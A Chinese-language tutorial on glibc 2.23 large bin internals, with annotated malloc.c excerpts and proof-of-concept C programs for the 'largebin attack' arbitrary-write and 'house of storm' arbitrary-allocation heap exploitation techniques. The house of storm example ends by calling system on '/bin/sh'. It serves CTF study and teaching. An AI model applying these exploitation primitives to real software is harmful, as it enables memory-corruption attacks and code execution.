0x01 large bin
Large bins 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。(本文讨论的代码和结构都是在glibc2.23 64位的情况)
1.largebin的一些结构
在largebin的处理过程中会用到fd_next和bk_nextsize来加快chunk的处理。
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
下面的例子来看看glibc是如何处理largebin。
- 先创建了6个largebin chunk和一个0x90大小的chunk
- 将6个largebin chunk和一个普通chunk释放,chunk被放入unsorted bin中
- 申请0x40大小触发malloc_consolidate,largebin chunk被放入largebin中
//gcc largetest.c -o largetest -g
#include<stdio.h>
#include<stdlib.h>
int main()
{
//初始化
//malloc(0x10)防止合并
void *ptr1,*ptr2,*ptr3,*ptr4,*ptr5,*ptr6;
ptr1 = malloc(0x3f0);
malloc(0x10);
ptr2 = malloc(0x400);
malloc(0x10);
ptr3 = malloc(0x410);
malloc(0x10);
ptr4 = malloc(0x410);
malloc(0x10);
ptr5 = malloc(0x420);
malloc(0x10);
ptr6 = malloc(0x420);
malloc(0x10);
void *ptr = malloc(0x80);
malloc(0x10);
//全部放入unsorted bin中
free(ptr1);
free(ptr2);
free(ptr3);
free(ptr4);
free(ptr5);
free(ptr6);
free(ptr);
//触发malloc_consolidate
malloc(0x40);
return 0;
}
当执行完malloc(0x40)之后堆情况。chunk5->chunk6->chunk3->chunk4->chunk2->chunk1。查看chunk5,6的内存,只有chunk5的fd_nextsize和fd_nextsize被赋值。
大小对应相同index中的堆块,其在链表中的排序方式为:(参考下面链接2)
- 堆块从大到小排序。
- 对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsize与bk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fd与bk链接,形成了先释放的在链表后面的排序方式,且其fd_nextsize与bk_nextsize都为0。
- 不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。
2.largebin插入过程
glibc2-23 malloc.c第3532行到3592行。根据下面的几个if语句来阅读代码会更容易。
- 第一个if 。if (in_smallbin_range (size))判断是否为smallbin,如果是largebin进入else分支
- 第二个if。if (fwd != bck)判断当前的largebin链表是否为空,如果空直接跳转到victim->fd_nextsize = victim->bk_nextsize = victim;
- 第三个if。if ((unsigned long) (size) < (unsigned long) (bck->bk->size))判断是否小于当前largebin链表最小bin,如果是就插入到最后
- 最后一个部分先循环找到合适的bin->size链表
- 第四个if。if ((unsigned long) size == (unsigned long) fwd->size)判断合适的bin->size链表是否为空,如果为不为空插入第二个位置。如果为空则要设置fd_nextsize和bk_nextsize
- 最后对fd和bk进行设置
/* place chunk in bin */
if (in_smallbin_range (size))//如果chunk是largebin进入else分支
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)//判断该largebin是否为空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))//如果小于链表中最小的bin
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else//如果大于链表中最大的bin
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)//找到大于等于的(bin->size)链表
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}
if ((unsigned long) size == (unsigned long) fwd->size)//两个size相同表示该(bin->size)链表不为空
/* Always insert in the second position. */
fwd = fwd->fd;
else
{//该size对应的链表为空,导致下面的解链
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//如果largebin链表为空,将fd_nextsize和bk_nextsize都设置为自己
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
总结来源(参考链接2)
- 找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd。
- 如果fwd等于bck,表明当前链表为空,则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsize和fd_nextsize赋值为它本身。
- 如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
- 如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
- 如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
6.如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsize与bk_nextsize。
3.largebin取出过程
glibc2-23 malloc.c第3599行到3664行。
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
/* skip scan if empty or largest chunk is too small */
//如果当前bin链表最大的victim->size大于等于要申请的大小(nb),则进入当前分支
//如果当前bin链表最大的victim->size小于要申请的大小(nb),则进入else分支
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize;//取得最小bin
//循环找到一个victim大于等于需要的大小(nb)
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
//如果当前的bin->size链表是否有多个bin,如果有就取第二个
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd);
/* Exhaust */
//剩余的部分小于MINSIZE,不能构成chunk则直接返回
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{//剩余部分放到unsortedbin中
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
参考链接2
- 找到当前要申请的空间对应的largebin链表,判断第一个结点即最大结点的大小是否大于要申请的空间,如果小于则说明largebin中没有合适的堆块,需采用其他分配方式。
- 如果当前largebin中存在合适的堆块,则从最小堆块开始,通过bk_nextsize反向遍历链表,找到大于等于当前申请空间的结点。
- 为减少操作,判断找到的相应结点(堆头)的下个结点是否是相同大小的堆块,如果是的话,将目标设置为该堆头的第二个结点,以此减少将fd_nextsize与bk_nextsize赋值的操作。
- 调用unlink将目标largebin chunk从双链表中取下。
- 判断剩余空间是否小于MINSIZE,如果小于直接返回给用户。
- 否则将剩余的空间构成新的chunk放入到unsorted bin中。
0x02 largebin attack漏洞原理
1.利用条件和效果
条件:
1.存在UAF或者其他漏洞能够修改同一个largbin的bk和bk_nextsize
效果
2.任意地址写堆地址。(任意地址写大数)
2.how2heap简化
简化一下how2heap中largebin_attack的代码。
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x100);
malloc(0x20);//防止合并
unsigned long *p2 = malloc(0x400);
malloc(0x20);//防止合并
unsigned long *p3 = malloc(0x410);
malloc(0x20);//防止合并
free(p1);
free(p2);
//触发malloc_consolidate,之后p1的剩余部分在unsortedbin中,p2在largebin中
malloc(0x40);
//将p3放入unsortedbin中
free(p3);
p2[0] = 0;//fd
p2[1] = (unsigned long)(&stack_var1 - 2);//bk
p2[2] = 0;//fd_nextsize
p2[3] = (unsigned long)(&stack_var2 - 4);//bk_nextsize
malloc(0x40);
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
来分析一下这个代码干了啥
- 申请0x100 chunk(p1),用于后面分配0x40的chunk触发malloc_consolidate。两个不同大小的largebin chunk,p2和p3
- 释放p1和p2到unsortedbin中,申请0x40大小触发malloc_consolidate。p2进入largebin中
- 释放p3进入unsortedbin中
- 修改largebin中的p2->bk=(unsigned long)(&stack_var1 - 2),p2->bk_nextsize=(unsigned long)(&stack_var2 - 4)
- 申请0x40chunk触发malloc_consolidate,p3将要链入largebin中
由于p3->size大于p2->size,且p3->size对应的bin链表为空所以会进入下面两段代码。在将p3链入largebin中最关键的两段代码如下,漏洞也发生在下面代码中。。p3就是victim,p2就是fwd。第一段代码通过修改fwd的bk_nextsize来达到任意地址写入堆地址(大数)。
第二段代码通过修改fwd的bk来达到任意地址写入堆地址(大数)
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//这里
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里发生修改
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
0x03 house of storm
这一节参考链接一
1.利用条件和效果
利用条件:
- 在largebin和unsorted bin中分别布置chunk,并且unsorted bin中的chunk->size要大于largebin中的。
- 能够控制unsorted_bin中的bk
- largebin中的bk和bk_nextsize
效果:任意地址分配chunk。
2.原理
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;
int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;
unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);
free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);
fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}
前面的操作步骤和largebin attack的过程差不多。都是先在unsortedbin和largebin进行chunk布置。
关键是为什么unsorted_bin和large_bin为什么要设置成这样。
else
{
victim->fd_nextsize = fwd;//victim->fd_nextsize=0
victim->bk_nextsize = fwd->bk_nextsize;//victim->bk_nextsize=fake_chunk-0x18-5
fwd->bk_nextsize = victim;//
victim->bk_nextsize->fd_nextsize = victim;//fake_chunk-0x18+0x18+5=victim。关键代码
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
关键代码处能向指定位置写入victim的位置,但是这里有偏移。如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,由于heap高位地址前两位一般为0x00,第三位为0x56或者0x55。可以向指定chunk构造size=0x55(类似mallock_hook偏移使用0x7f来当chunk->size来绕过校验,这里反过来用偏移来写入构造需要的size),由于victim->bk指向了fake_chunk,所以外循环处理unsortedbin的时候,由于我们申请的大小为0x48需要的0x50大小的chunk,正好合适就能取下该chunk。
0x04 总结
参考链接:
House of storm 原理及利用[1]
Largebin attack总结[2]
浅析largebin attack[3]
例题:
直接使用了house of storm。只是每次选择都会随机改变基地址,无法使用pwndbg中一些heap命令,增加了调试难度。
House of Storm[4]